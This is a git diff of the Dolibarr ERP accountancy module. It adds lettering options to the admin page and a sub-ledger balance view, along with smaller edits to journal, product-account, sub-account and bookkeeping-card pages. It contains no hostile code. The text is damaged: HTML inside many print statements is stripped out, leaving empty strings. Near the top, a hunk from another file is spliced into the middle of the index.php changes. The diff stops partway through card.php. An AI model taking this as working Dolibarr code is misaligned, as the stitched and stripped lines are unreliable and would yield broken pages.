8236b83eb3d..3a7be3e073e 100644 --- a/htdocs/accountancy/admin/index.php +++ b/htdocs/accountancy/admin/index.php @@ -247,6 +247,34 @@ if ($action == 'setdisablebindingonexpensereports') { } } +if ($action == 'setenablelettering') { + $setenablelettering = GETPOST('value', 'int'); + $res = dolibarr_set_const($db, "ACCOUNTING_ENABLE_LETTERING", $setenablelettering, 'yesno', 0, '', $conf->entity); + if (!($res > 0)) { + $error++; + } + + if (!$error) { + setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); + } else { + setEventMessages($langs->trans("Error"), null, 'mesgs'); + } +} + +if ($action == 'setenableautolettering') { + $setenableautolettering = GETPOST('value', 'int'); + $res = dolibarr_set_const($db, "ACCOUNTING_ENABLE_AUTOLETTERING", $setenableautolettering, 'yesno', 0, '', $conf->entity); + if (!($res > 0)) { + $error++; + } + + if (!$error) { + setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); + } else { + setEventMessages($langs->trans("Error"), null, 'mesgs'); + } +} + /* * View @@ -416,7 +444,7 @@ foreach ($list_binding as $key) { print $form->selectDate((!empty($conf->global->$key) ? $db->idate($conf->global->$key) : -1), $key, 0, 0, 1); } elseif ($key == 'ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER') { $array = array(0=>$langs->trans("PreviousMonth"), 1=>$langs->trans("CurrentMonth"), 2=>$langs->trans("Fiscalyear")); - print $form->selectarray($key, $array, (isset($conf->global->ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER) ? $conf->global->ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER : 0)); + print $form->selectarray($key, $array, (isset($conf->global->ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER) ? $conf->global->ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER : 0), 0, 0, 0, '', 0, 0, 0, '', 'onrightofpage'); } else { print ''; } @@ -464,6 +492,43 @@ if (!empty($conf->global->ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS)) { } print ''; +print '
      '; print ''; print '
      '; @@ -605,7 +613,7 @@ if ($resql) { if ($showfield) { if ($value == 'country') { print ''; - print $form->select_country($search_country_id, 'search_country_id', '', 28, 'maxwidth200 maxwidthonsmartphone'); + print $form->select_country($search_country_id, 'search_country_id', '', 28, 'maxwidth150 maxwidthonsmartphone'); print ''; + print '
      '; print ''; print ''; - print ''; - print '
      '; - print ''; + print ''; + print ''; print '
      '; + print ''; if (empty($obj->formula)) { print ''; print $langs->trans("ListOfAccounts"); @@ -887,10 +896,10 @@ function fieldListAccountingCategories($fieldlist, $obj = '', $tabname = '', $co if ($context == 'add') { $fieldname = 'country_id'; $preselectcountrycode = GETPOSTISSET('country_id') ? GETPOST('country_id', 'int') : $mysoc->country_code; - print $form->select_country($preselectcountrycode, $fieldname, '', 28, 'maxwidth200 maxwidthonsmartphone'); + print $form->select_country($preselectcountrycode, $fieldname, '', 28, 'maxwidth150 maxwidthonsmartphone'); } else { $preselectcountrycode = (empty($obj->country_code) ? (empty($obj->country) ? $mysoc->country_code : $obj->country) : $obj->country_code); - print $form->select_country($preselectcountrycode, $fieldname, '', 28, 'maxwidth200 maxwidthonsmartphone'); + print $form->select_country($preselectcountrycode, $fieldname, '', 28, 'maxwidth150 maxwidthonsmartphone'); } print ''; if (is_array($key['param'])) { - print $form->selectarray($label, $key['param'], $conf->global->$label, 0); + print $form->selectarray($label, $key['param'], getDolGlobalString($label), 0); } else { - print ''; + print ''; } print '
      '; +print '
      '; + +// Lettering params +print ''; +print ''; +print ''; +print "\n"; + +print ''; +print ''; +if (!empty($conf->global->ACCOUNTING_ENABLE_LETTERING)) { + print ''; +} else { + print ''; +} +print ''; + +if (!empty($conf->global->ACCOUNTING_ENABLE_LETTERING)) { + print ''; + print ''; + if (!empty($conf->global->ACCOUNTING_ENABLE_AUTOLETTERING)) { + print ''; + } else { + print ''; + } + print ''; +} + print '
      '.$langs->trans('Options').' '.$langs->trans('Lettering').'
      '.$langs->trans("ACCOUNTING_ENABLE_LETTERING").''; + print img_picto($langs->trans("Activated"), 'switch_on'); + print ''; + print img_picto($langs->trans("Disabled"), 'switch_off'); + print '
      ' . $langs->trans("ACCOUNTING_ENABLE_AUTOLETTERING") . ''; + print img_picto($langs->trans("Activated"), 'switch_on'); + print ''; + print img_picto($langs->trans("Disabled"), 'switch_off'); + print '
      '; print '
      '; diff --git a/htdocs/accountancy/admin/journals_list.php b/htdocs/accountancy/admin/journals_list.php index e1a07fef5fc..ef8a0f2767f 100644 --- a/htdocs/accountancy/admin/journals_list.php +++ b/htdocs/accountancy/admin/journals_list.php @@ -431,9 +431,9 @@ if ($id) { print ''; print ''; print ''; - print ''; - print ''; - print ''; + print ''; + print ''; + print ''; print ''; // Line to enter new values @@ -587,7 +587,8 @@ if ($id) { foreach ($fieldlist as $field => $value) { $showfield = 1; $class = "left"; - $valuetoshow = $obj->{$fieldlist[$field]}; + $tmpvar = $fieldlist[$field]; + $valuetoshow = $obj->$tmpvar; if ($valuetoshow == 'all') { $valuetoshow = $langs->trans('All'); } elseif ($fieldlist[$field] == 'nature' && $tabname[$id] == MAIN_DB_PREFIX.'accounting_journal') { diff --git a/htdocs/accountancy/admin/productaccount.php b/htdocs/accountancy/admin/productaccount.php index 018a0cfd5e8..620e4158ceb 100644 --- a/htdocs/accountancy/admin/productaccount.php +++ b/htdocs/accountancy/admin/productaccount.php @@ -194,7 +194,7 @@ if ($action == 'update') { } if ($result <= 0) { // setEventMessages(null, $accounting->errors, 'errors'); - $msg .= '
      '.$langs->trans("ErrorDB").' : '.$langs->trans("Product").' '.$productid.' '.$langs->trans("NotVentilatedinAccount").' : id='.$accounting_account_id.'
      '.$sql.'
      '; + $msg .= '
      '.$langs->trans("ErrorDB").' : '.$langs->trans("Product").' '.$productid.' '.$langs->trans("NotVentilatedinAccount").' : id='.$accounting_account_id.'
      '.$sql.'
      '; $ko++; } else { $sql = ''; @@ -203,7 +203,7 @@ if ($action == 'update') { $sql_exists .= " WHERE fk_product = " . ((int) $productid) . " AND entity = " . ((int) $conf->entity); $resql_exists = $db->query($sql_exists); if (!$resql_exists) { - $msg .= '
      '.$langs->trans("ErrorDB").' : '.$langs->trans("Product").' '.$productid.' '.$langs->trans("NotVentilatedinAccount").' : id='.$accounting_account_id.'
      '.$resql_exists.'
      '; + $msg .= '
      '.$langs->trans("ErrorDB").' : '.$langs->trans("Product").' '.$productid.' '.$langs->trans("NotVentilatedinAccount").' : id='.$accounting_account_id.'
      '.$resql_exists.'
      '; $ko++; } else { $nb_exists = $db->num_rows($resql_exists); diff --git a/htdocs/accountancy/admin/subaccount.php b/htdocs/accountancy/admin/subaccount.php index c9f78596bcd..40055a4b75f 100644 --- a/htdocs/accountancy/admin/subaccount.php +++ b/htdocs/accountancy/admin/subaccount.php @@ -19,17 +19,18 @@ /** * \file htdocs/accountancy/admin/subaccount.php - * \ingroup Accountancy (Double entries) - * \brief List of accounting sub-account (auxiliary accounts) + * \ingroup Accountancy (Double entries) + * \brief List of accounting sub-account (auxiliary accounts) */ // Load Dolibarr environment require '../../main.inc.php'; -require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/accounting.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; + // Load translation files required by the page -$langs->loadLangs(array("compta", "bills", "admin", "accountancy", "salaries", "hrm", "errors")); +$langs->loadLangs(array("accountancy", "admin", "bills", "compta", "errors", "hrm", "salaries")); $mesg = ''; $action = GETPOST('action', 'aZ09'); @@ -81,6 +82,7 @@ if ($conf->global->MAIN_FEATURES_LEVEL < 2) { unset($arrayfields['reconcilable']); } + /* * Actions */ @@ -120,11 +122,13 @@ if (empty($reshook)) { $form = new Form($db); -$help_url = ''; -$title = $langs->trans('ChartOfIndividualAccountsOfSubsidiaryLedger'); +// Page Header +$help_url = 'EN:Module_Double_Entry_Accounting#Setup'; +$title = $langs->trans('ChartOfIndividualAccountsOfSubsidiaryLedger'); llxHeader('', $title, $help_url); + // Customer $sql = "SELECT sa.rowid, sa.nom as label, sa.code_compta as subaccount, '1' as type, sa.entity"; $sql .= " FROM ".MAIN_DB_PREFIX."societe sa"; @@ -219,7 +223,7 @@ if (!empty($search_type) && $search_type >= 0) { $sql .= " HAVING type LIKE '".$db->escape($search_type)."'"; } -// User +// User - Employee $sql .= " UNION "; $sql .= " SELECT u.rowid, u.lastname as label, u.accountancy_code as subaccount, '3' as type, u.entity FROM ".MAIN_DB_PREFIX."user u"; $sql .= " WHERE u.entity IN (".getEntity('user').")"; @@ -400,6 +404,7 @@ if ($resql) { if (!empty($arrayfields['type']['checked'])) { print ''; $s = ''; + // Customer if ($obj->type == 1) { $s .= '
      '.$langs->trans("Customer").''; @@ -407,8 +412,8 @@ if ($resql) { // Supplier $s .= ''.$langs->trans("Supplier").''; } elseif ($obj->type == 3) { - // User - $s .= ''.$langs->trans("Employee").''; + // User - Employee + $s .= ''.$langs->trans("Employee").''; } print $s; print ''; @@ -440,6 +445,7 @@ if ($resql) { // Action print ''; $e = ''; + // Customer if ($obj->type == 1) { $e .= ''.img_edit().''; @@ -447,7 +453,7 @@ if ($resql) { // Supplier $e .= ''.img_edit().''; } elseif ($obj->type == 3) { - // User + // User - Employee $e .= ''.img_edit().''; } print $e; diff --git a/htdocs/accountancy/bookkeeping/balance.php b/htdocs/accountancy/bookkeeping/balance.php index d2b1aaa3348..fd8cd8ad688 100644 --- a/htdocs/accountancy/bookkeeping/balance.php +++ b/htdocs/accountancy/bookkeeping/balance.php @@ -1,7 +1,7 @@ * Copyright (C) 2016 Florian Henry - * Copyright (C) 2016-2022 Alexandre Spangaro + * Copyright (C) 2016-2023 Alexandre Spangaro * Copyright (C) 2018 Frédéric France * * This program is free software; you can redistribute it and/or modify @@ -42,22 +42,13 @@ $langs->loadLangs(array("accountancy", "compta")); $action = GETPOST('action', 'aZ09'); $optioncss = GETPOST('optioncss', 'alpha'); -$contextpage = GETPOST('contextpage', 'aZ09'); - -// Load variable for pagination -$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; -$sortfield = GETPOST('sortfield', 'aZ09comma'); -$sortorder = GETPOST('sortorder', 'aZ09comma'); -$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { - $page = 0; -} // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action -$offset = $limit * $page; -$pageprev = $page - 1; -$pagenext = $page + 1; -//if (! $sortfield) $sortfield="p.date_fin"; -//if (! $sortorder) $sortorder="DESC"; - +$type = GETPOST('type', 'alpha'); +if ($type == 'sub') { + $context_default = 'balancesubaccountlist'; +} else { + $context_default = 'balancelist'; +} +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : $context_default; $show_subgroup = GETPOST('show_subgroup', 'alpha'); $search_date_start = dol_mktime(0, 0, 0, GETPOST('date_startmonth', 'int'), GETPOST('date_startday', 'int'), GETPOST('date_startyear', 'int')); $search_date_end = dol_mktime(23, 59, 59, GETPOST('date_endmonth', 'int'), GETPOST('date_endday', 'int'), GETPOST('date_endyear', 'int')); @@ -70,10 +61,29 @@ $search_accountancy_code_end = GETPOST('search_accountancy_code_end', 'alpha'); if ($search_accountancy_code_end == - 1) { $search_accountancy_code_end = ''; } +$search_not_reconciled = GETPOST('search_not_reconciled', 'alpha'); + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { + $page = 0; +} // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if ($sortorder == "") { + $sortorder = "ASC"; +} +if ($sortfield == "") { + $sortfield = "t.numero_compte"; +} // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $object = new BookKeeping($db); -$hookmanager->initHooks(array('balancelist')); // Note that conf->hooks_modules contains array +$hookmanager->initHooks(array($contextpage)); // Note that conf->hooks_modules contains array $formaccounting = new FormAccounting($db); $formother = new FormOther($db); @@ -84,6 +94,7 @@ if (empty($search_date_start) && !GETPOSTISSET('formfilteraction')) { $sql .= " WHERE date_start < '".$db->idate(dol_now())."' AND date_end > '".$db->idate(dol_now())."'"; $sql .= $db->plimit(1); $res = $db->query($sql); + if ($res->num_rows > 0) { $fiscalYear = $db->fetch_object($res); $search_date_start = strtotime($fiscalYear->date_start); @@ -104,45 +115,6 @@ if (empty($search_date_start) && !GETPOSTISSET('formfilteraction')) { $search_date_end = dol_get_last_day($year_end, $month_end); } } -if ($sortorder == "") { - $sortorder = "ASC"; -} -if ($sortfield == "") { - $sortfield = "t.numero_compte"; -} - - -$param = ''; -if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { - $param .= '&contextpage='.urlencode($contextpage); -} -if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); -} - -$filter = array(); -if (!empty($search_date_start)) { - $filter['t.doc_date>='] = $search_date_start; - $param .= '&date_startmonth='.GETPOST('date_startmonth', 'int').'&date_startday='.GETPOST('date_startday', 'int').'&date_startyear='.GETPOST('date_startyear', 'int'); -} -if (!empty($search_date_end)) { - $filter['t.doc_date<='] = $search_date_end; - $param .= '&date_endmonth='.GETPOST('date_endmonth', 'int').'&date_endday='.GETPOST('date_endday', 'int').'&date_endyear='.GETPOST('date_endyear', 'int'); -} -if (!empty($search_accountancy_code_start)) { - $filter['t.numero_compte>='] = $search_accountancy_code_start; - $param .= '&search_accountancy_code_start='.urlencode($search_accountancy_code_start); -} -if (!empty($search_accountancy_code_end)) { - $filter['t.numero_compte<='] = $search_accountancy_code_end; - $param .= '&search_accountancy_code_end='.urlencode($search_accountancy_code_end); -} -if (!empty($search_ledger_code)) { - $filter['t.code_journal'] = $search_ledger_code; - foreach ($search_ledger_code as $code) { - $param .= '&search_ledger_code[]='.urlencode($code); - } -} if (!isModEnabled('accounting')) { accessforbidden(); @@ -154,14 +126,13 @@ if (!$user->hasRight('accounting', 'mouvements', 'lire')) { accessforbidden(); } - - /* * Action */ -$parameters = array(); -$arrayfields = array(); +$param = ''; + +$parameters = array('socid'=>$socid); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); @@ -172,16 +143,67 @@ if (empty($reshook)) { $show_subgroup = ''; $search_date_start = ''; $search_date_end = ''; + $search_date_startyear = ''; + $search_date_startmonth = ''; + $search_date_startday = ''; + $search_date_endyear = ''; + $search_date_endmonth = ''; + $search_date_endday = ''; $search_accountancy_code_start = ''; $search_accountancy_code_end = ''; + $search_not_reconciled = ''; $search_ledger_code = array(); $filter = array(); } -} -/* - * View - */ + // Must be after the remove filter action, before the export. + $filter = array(); + + if (!empty($search_date_start)) { + $filter['t.doc_date>='] = $search_date_start; + $param .= '&date_startmonth=' . GETPOST('date_startmonth', 'int') . '&date_startday=' . GETPOST('date_startday', 'int') . '&date_startyear=' . GETPOST('date_startyear', 'int'); + } + if (!empty($search_date_end)) { + $filter['t.doc_date<='] = $search_date_end; + $param .= '&date_endmonth=' . GETPOST('date_endmonth', 'int') . '&date_endday=' . GETPOST('date_endday', 'int') . '&date_endyear=' . GETPOST('date_endyear', 'int'); + } + if (!empty($search_doc_date)) { + $filter['t.doc_date'] = $search_doc_date; + $param .= '&doc_datemonth=' . GETPOST('doc_datemonth', 'int') . '&doc_dateday=' . GETPOST('doc_dateday', 'int') . '&doc_dateyear=' . GETPOST('doc_dateyear', 'int'); + } + if (!empty($search_accountancy_code_start)) { + if ($type == 'sub') { + $filter['t.subledger_account>='] = $search_accountancy_code_start; + } else { + $filter['t.numero_compte>='] = $search_accountancy_code_start; + } + $param .= '&search_accountancy_code_start=' . urlencode($search_accountancy_code_start); + } + if (!empty($search_accountancy_code_end)) { + if ($type == 'sub') { + $filter['t.subledger_account<='] = $search_accountancy_code_end; + } else { + $filter['t.numero_compte<='] = $search_accountancy_code_end; + } + $param .= '&search_accountancy_code_end=' . urlencode($search_accountancy_code_end); + } + if (!empty($search_ledger_code)) { + $filter['t.code_journal'] = $search_ledger_code; + foreach ($search_ledger_code as $code) { + $param .= '&search_ledger_code[]=' . urlencode($code); + } + } + if (!empty($search_not_reconciled)) { + $filter['t.reconciled_option'] = $search_not_reconciled; + $param .= '&search_not_reconciled='.urlencode($search_not_reconciled); + } + + // param with type of list + $url_param = substr($param, 1); // remove first "&" + if (!empty($type)) { + $param = '&type=' . $type . $param; + } +} if ($action == 'export_csv') { $sep = $conf->global->ACCOUNTING_EXPORT_SEPARATORCSV; @@ -190,14 +212,23 @@ if ($action == 'export_csv') { $type_export = 'balance'; include DOL_DOCUMENT_ROOT.'/accountancy/tpl/export_journal.tpl.php'; - $result = $object->fetchAllBalance($sortorder, $sortfield, $limit, 0, $filter); + if ($type == 'sub') { + $result = $object->fetchAllBalance($sortorder, $sortfield, $limit, 0, $filter, 'AND', 1); + } else { + $result = $object->fetchAllBalance($sortorder, $sortfield, $limit, 0, $filter); + } if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); } foreach ($object->lines as $line) { - print '"'.length_accountg($line->numero_compte).'"'.$sep; - print '"'.$object->get_compte_desc($line->numero_compte).'"'.$sep; + if ($type == 'sub') { + print '"' . length_accounta($line->subledger_account) . '"' . $sep; + print '"' . $line->subledger_label . '"' . $sep; + } else { + print '"' . length_accountg($line->numero_compte) . '"' . $sep; + print '"' . $object->get_compte_desc($line->numero_compte) . '"' . $sep; + } print '"'.price($line->debit).'"'.$sep; print '"'.price($line->credit).'"'.$sep; print '"'.price($line->debit - $line->credit).'"'.$sep; @@ -207,8 +238,15 @@ if ($action == 'export_csv') { exit; } +/* + * View + */ -$title_page = $langs->trans("AccountBalance"); +if ($type == 'sub') { + $title_page = $langs->trans("AccountBalanceSubAccount"); +} else { + $title_page = $langs->trans("AccountBalance"); +} llxHeader('', $title_page); @@ -217,32 +255,52 @@ if ($action != 'export_csv') { // List $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $nbtotalofrecords = $object->fetchAllBalance($sortorder, $sortfield, 0, 0, $filter); + if ($type == 'sub') { + $nbtotalofrecords = $object->fetchAllBalance($sortorder, $sortfield, 0, 0, $filter, 'AND', 1); + } else { + $nbtotalofrecords = $object->fetchAllBalance($sortorder, $sortfield, 0, 0, $filter); + } + if ($nbtotalofrecords < 0) { setEventMessages($object->error, $object->errors, 'errors'); } } - $result = $object->fetchAllBalance($sortorder, $sortfield, $limit, $offset, $filter); + if ($type == 'sub') { + $result = $object->fetchAllBalance($sortorder, $sortfield, $limit, $offset, $filter, 'AND', 1); + } else { + $result = $object->fetchAllBalance($sortorder, $sortfield, $limit, $offset, $filter); + } + if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); } print ''; + print ''; + print ''; if ($optioncss != '') { print ''; } - print ''; print ''; - print ''; + print ''; print ''; print ''; + print ''; print ''; + $parameters = array(); - $reshook = $hookmanager->executeHooks('addMoreActionsButtonsList', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + $reshook = $hookmanager->executeHooks('addMoreActionsButtons', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $newcardbutton = empty($hookmanager->resPrint) ? '' : $hookmanager->resPrint; + if (empty($reshook)) { - $button = 'global->ACCOUNTING_EXPORT_FORMAT.')" />'; + $newcardbutton = 'global->ACCOUNTING_EXPORT_FORMAT.')" />'; print ''; + + if ($type == 'sub') { + $newcardbutton .= dolGetButtonTitle($langs->trans('AccountBalance')." - ".$langs->trans('GroupByAccountAccounting'), '', 'fa fa-stream paddingleft imgforviewmode', DOL_URL_ROOT . '/accountancy/bookkeeping/balance.php?' . $url_param, '', 1, array('morecss' => 'marginleftonly')); + $newcardbutton .= dolGetButtonTitle($langs->trans('AccountBalance')." - ".$langs->trans('GroupBySubAccountAccounting'), '', 'fa fa-align-left vmirror paddingleft imgforviewmode', DOL_URL_ROOT . '/accountancy/bookkeeping/balance.php?type=sub&' . $url_param, '', 1, array('morecss' => 'marginleftonly btnTitleSelected')); + } else { + $newcardbutton .= dolGetButtonTitle($langs->trans('AccountBalance')." - ".$langs->trans('GroupByAccountAccounting'), '', 'fa fa-stream paddingleft imgforviewmode', DOL_URL_ROOT . '/accountancy/bookkeeping/balance.php?' . $url_param, '', 1, array('morecss' => 'marginleftonly btnTitleSelected')); + $newcardbutton .= dolGetButtonTitle($langs->trans('AccountBalance')." - ".$langs->trans('GroupBySubAccountAccounting'), '', 'fa fa-align-left vmirror paddingleft imgforviewmode', DOL_URL_ROOT . '/accountancy/bookkeeping/balance.php?type=sub&' . $url_param, '', 1, array('morecss' => 'marginleftonly')); + } + $newcardbutton .= dolGetButtonTitle($langs->trans('NewAccountingMvt'), '', 'fa fa-plus-circle paddingleft', DOL_URL_ROOT.'/accountancy/bookkeeping/card.php?action=create'); + } + if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); + } + if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); } - print_barre_liste($title_page, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $button, $result, $nbtotalofrecords, 'title_accountancy', 0, '', '', $limit); + print_barre_liste($title_page, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $result, $nbtotalofrecords, 'title_accountancy', 0, $newcardbutton, '', $limit, 0, 0, 1); $selectedfields = ''; + // Warning to explain why list of record is not consistent with the other list view (missing a lot of lines) + if ($type == 'sub') { + print info_admin($langs->trans("WarningRecordWithoutSubledgerAreExcluded")); + } + $moreforfilter = ''; $moreforfilter .= '
      '; @@ -268,18 +346,38 @@ if ($action != 'export_csv') { $moreforfilter .= $form->selectDate($search_date_start ? $search_date_start : -1, 'date_start', 0, 0, 1, '', 1, 0); $moreforfilter .= $langs->trans('DateEnd').': '; $moreforfilter .= $form->selectDate($search_date_end ? $search_date_end : -1, 'date_end', 0, 0, 1, '', 1, 0); - - $moreforfilter .= ' - '; - $moreforfilter .= ': '; - $moreforfilter .= ''; - $moreforfilter .= '
      '; $moreforfilter .= '
      '; + $moreforfilter .= ': '; + $moreforfilter .= ''; + $moreforfilter .= '
      '; - $moreforfilter .= $langs->trans("Journal"); + $moreforfilter .= '
      '; + $moreforfilter .= $langs->trans("Journals").': '; $moreforfilter .= $formaccounting->multi_select_journal($search_ledger_code, 'search_ledger_code', 0, 1, 1, 1); + $moreforfilter .= '
      '; + $moreforfilter .= '
      '; + $moreforfilter .= '
      '; + // Accountancy account + $moreforfilter .= $langs->trans('AccountAccounting').': '; + if ($type == 'sub') { + $moreforfilter .= $formaccounting->select_auxaccount($search_accountancy_code_start, 'search_accountancy_code_start', $langs->trans('From'), 'maxwidth200'); + } else { + $moreforfilter .= $formaccounting->select_account($search_accountancy_code_start, 'search_accountancy_code_start', $langs->trans('From'), array(), 1, 1, 'maxwidth200', 'accounts'); + } + $moreforfilter .= ' '; + if ($type == 'sub') { + $moreforfilter .= $formaccounting->select_auxaccount($search_accountancy_code_end, 'search_accountancy_code_end', $langs->trans('to'), 'maxwidth200'); + } else { + $moreforfilter .= $formaccounting->select_account($search_accountancy_code_end, 'search_accountancy_code_end', $langs->trans('to'), array(), 1, 1, 'maxwidth200', 'accounts'); + } + $moreforfilter .= '
      '; + + $moreforfilter .= '
      '; + $moreforfilter .= ': '; + $moreforfilter .= ''; $moreforfilter .= '
      '; if (!empty($moreforfilter)) { @@ -298,9 +396,6 @@ if ($action != 'export_csv') { print ''; print ''; - print $formaccounting->select_account($search_accountancy_code_start, 'search_accountancy_code_start', $langs->trans('From'), array(), 1, 1, '', 'accounts'); - print ' '; - print $formaccounting->select_account($search_accountancy_code_end, 'search_accountancy_code_end', $langs->trans('to'), array(), 1, 1, '', 'accounts'); print ''; // Fields from hook @@ -317,6 +412,10 @@ if ($action != 'export_csv') { print ''; print_liste_field_titre("AccountAccounting", $_SERVER['PHP_SELF'], "t.numero_compte", "", $param, "", $sortfield, $sortorder); + // TODO : Retrieve the type of third party: Customer / Supplier / Employee + //if ($type == 'sub') { + // print_liste_field_titre("Type", $_SERVER['PHP_SELF'], "t.type", "", $param, "", $sortfield, $sortorder); + //} if (!empty($conf->global->ACCOUNTANCY_SHOW_OPENING_BALANCE)) { print_liste_field_titre("OpeningBalance", $_SERVER['PHP_SELF'], "", $param, "", 'class="right"', $sortfield, $sortorder); } @@ -352,7 +451,7 @@ if ($action != 'export_csv') { $sql .= " GROUP BY t.numero_compte"; $resql = $db->query($sql); - $nrows = $db->num_rows($resql); + $nrows = $resql->num_rows; $opening_balances = array(); for ($i = 0; $i < $nrows; $i++) { $arr = $resql->fetch_array(); @@ -365,11 +464,13 @@ if ($action != 'export_csv') { $accountingaccountstatic->id = 0; $accountingaccountstatic->account_number = ''; - $accountingaccountstatic->fetch(null, $line->numero_compte, true); - if (!empty($accountingaccountstatic->account_number)) { - $accounting_account = $accountingaccountstatic->getNomUrl(0, 1, 0, '', 0, -1, 0, 'accountcard'); - } else { - $accounting_account = length_accountg($line->numero_compte); + if ($type != 'sub') { + $accountingaccountstatic->fetch(null, $line->numero_compte, true); + if (!empty($accountingaccountstatic->account_number)) { + $accounting_account = $accountingaccountstatic->getNomUrl(0, 1, 1); + } else { + $accounting_account = length_accountg($line->numero_compte); + } } $link = ''; @@ -420,7 +521,7 @@ if ($action != 'export_csv') { // Show first line of a break print ''; - print ''.$line->numero_compte.($root_account_description ? ' - '.$root_account_description : '').''; + print ''.$line->numero_compte.($root_account_description ? ' - '.$root_account_description : '').''; print ''; $displayed_account = $root_account_number; @@ -431,19 +532,43 @@ if ($action != 'export_csv') { } print ''; - print ''.$accounting_account.''; + // Accounting account + if ($type == 'sub') { + print ''.$line->subledger_account.' ('.$line->subledger_label.')'; + } else { + print ''.$accounting_account.''; + } + + // Type + // TODO Retrieve the type of third party: Customer / Supplier / Employee + //if ($type == 'sub') { + // print ''; + //} + if (!empty($conf->global->ACCOUNTANCY_SHOW_OPENING_BALANCE)) { print ''.price(price2num($opening_balance, 'MT')).''; } $urlzoom = ''; - if ($line->numero_compte) { - $urlzoom = DOL_URL_ROOT.'/accountancy/bookkeeping/listbyaccount.php?search_accountancy_code_start='.urlencode($line->numero_compte).'&search_accountancy_code_end='.urlencode($line->numero_compte); - if (GETPOSTISSET('date_startmonth')) { - $urlzoom .= '&search_date_startmonth='.GETPOST('date_startmonth', 'int').'&search_date_startday='.GETPOST('date_startday', 'int').'&search_date_startyear='.GETPOST('date_startyear', 'int'); + if ($type == 'sub') { + if ($line->subledger_account) { + $urlzoom = DOL_URL_ROOT . '/accountancy/bookkeeping/listbyaccount.php?type=sub&search_accountancy_code_start=' . urlencode($line->subledger_account) . '&search_accountancy_code_end=' . urlencode($line->subledger_account); + if (GETPOSTISSET('date_startmonth')) { + $urlzoom .= '&search_date_startmonth=' . GETPOST('date_startmonth', 'int') . '&search_date_startday=' . GETPOST('date_startday', 'int') . '&search_date_startyear=' . GETPOST('date_startyear', 'int'); + } + if (GETPOSTISSET('date_endmonth')) { + $urlzoom .= '&search_date_endmonth=' . GETPOST('date_endmonth', 'int') . '&search_date_endday=' . GETPOST('date_endday', 'int') . '&search_date_endyear=' . GETPOST('date_endyear', 'int'); + } } - if (GETPOSTISSET('date_endmonth')) { - $urlzoom .= '&search_date_endmonth='.GETPOST('date_endmonth', 'int').'&search_date_endday='.GETPOST('date_endday', 'int').'&search_date_endyear='.GETPOST('date_endyear', 'int'); + } else { + if ($line->numero_compte) { + $urlzoom = DOL_URL_ROOT . '/accountancy/bookkeeping/listbyaccount.php?search_accountancy_code_start=' . urlencode($line->numero_compte) . '&search_accountancy_code_end=' . urlencode($line->numero_compte); + if (GETPOSTISSET('date_startmonth')) { + $urlzoom .= '&search_date_startmonth=' . GETPOST('date_startmonth', 'int') . '&search_date_startday=' . GETPOST('date_startday', 'int') . '&search_date_startyear=' . GETPOST('date_startyear', 'int'); + } + if (GETPOSTISSET('date_endmonth')) { + $urlzoom .= '&search_date_endmonth=' . GETPOST('date_endmonth', 'int') . '&search_date_endday=' . GETPOST('date_endday', 'int') . '&search_date_endyear=' . GETPOST('date_endyear', 'int'); + } } } // Debit @@ -497,6 +622,10 @@ if ($action != 'export_csv') { print "\n"; print ''; + $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); + $reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + print ""; print ''; } diff --git a/htdocs/accountancy/bookkeeping/card.php b/htdocs/accountancy/bookkeeping/card.php index 692d70f4b68..98c8e5b923d 100644 --- a/htdocs/accountancy/bookkeeping/card.php +++ b/htdocs/accountancy/bookkeeping/card.php @@ -412,7 +412,11 @@ if ($action == 'create') { if (!empty($object->piece_num)) { $backlink = ''.$langs->trans('BackToList').''; - print load_fiche_titre($langs->trans("UpdateMvts"), $backlink); 